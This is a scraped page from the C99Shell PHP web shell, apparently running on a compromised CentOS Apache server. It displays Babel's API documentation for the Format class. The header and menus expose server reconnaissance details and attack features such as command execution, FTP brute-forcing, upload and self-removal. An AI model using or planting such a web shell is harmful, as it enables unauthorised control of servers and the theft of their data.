!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16. PHP/5.4.16 

uname -a: Linux roko-bkp 3.10.0-1160.102.1.el7.x86_64 #1 SMP Tue Oct 17 15:42:21 UTC 2023 x86_64 

uid=48(apache) gid=48(apache) groups=48(apache),1003(webmaster) 

Safe-mode: OFF (not secure)

/usr/share/doc/python-babel-0.9.6/doc/api/   drwxr-xr-x
Free 8.9 GB of 93.48 GB (9.52%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     babel.support.Format-class.html (22.92 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
babel.support.Format
Package babel :: Module support :: Class Format

Class Format

object --+
         |
        Format

Wrapper class providing the various date and number formatting functions bound to a specific locale and time-zone.

>>> fmt = Format('en_US', UTC)
>>> fmt.date(date(2007, 4, 1))
u'Apr 1, 2007'
>>> fmt.decimal(1.2345)
u'1.234'
Instance Methods
 
__init__(self, locale, tzinfo=None)
Initialize the formatter.
 
date(self, date=None, format='medium')
Return a date formatted according to the given pattern.
 
datetime(self, datetime=None, format='medium')
Return a date and time formatted according to the given pattern.
 
time(self, time=None, format='medium')
Return a time formatted according to the given pattern.
 
number(self, number)
Return an integer number formatted for the locale.
 
decimal(self, number, format=None)
Return a decimal number formatted for the locale.
 
currency(self, number, currency)
Return a number in the given currency formatted for the locale.
 
percent(self, number, format=None)
Return a number formatted as percentage for the locale.
 
scientific(self, number)
Return a number formatted using scientific notation for the locale.

Inherited from object: __delattr__, __format__, __getattribute__, __hash__, __new__, __reduce__, __reduce_ex__, __repr__, __setattr__, __sizeof__, __str__, __subclasshook__

Properties

Inherited from object: __class__

Method Details

__init__(self, locale, tzinfo=None)
(Constructor)

 
Initialize the formatter.
Parameters:
  • locale - the locale identifier or Locale instance
  • tzinfo - the time-zone info (a tzinfo instance or None)
Overrides: object.__init__

date(self, date=None, format='medium')

 

Return a date formatted according to the given pattern.

>>> fmt = Format('en_US')
>>> fmt.date(date(2007, 4, 1))
u'Apr 1, 2007'

datetime(self, datetime=None, format='medium')

 

Return a date and time formatted according to the given pattern.

>>> from pytz import timezone
>>> fmt = Format('en_US', tzinfo=timezone('US/Eastern'))
>>> fmt.datetime(datetime(2007, 4, 1, 15, 30))
u'Apr 1, 2007 11:30:00 AM'

time(self, time=None, format='medium')

 

Return a time formatted according to the given pattern.

>>> from pytz import timezone
>>> fmt = Format('en_US', tzinfo=timezone('US/Eastern'))
>>> fmt.time(datetime(2007, 4, 1, 15, 30))
u'11:30:00 AM'

number(self, number)

 

Return an integer number formatted for the locale.

>>> fmt = Format('en_US')
>>> fmt.number(1099)
u'1,099'

decimal(self, number, format=None)

 

Return a decimal number formatted for the locale.

>>> fmt = Format('en_US')
>>> fmt.decimal(1.2345)
u'1.234'

currency(self, number, currency)

 
Return a number in the given currency formatted for the locale.

percent(self, number, format=None)

 

Return a number formatted as percentage for the locale.

>>> fmt = Format('en_US')
>>> fmt.percent(0.34)
u'34%'

scientific(self, number)

 
Return a number formatted using scientific notation for the locale.


:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0038 ]--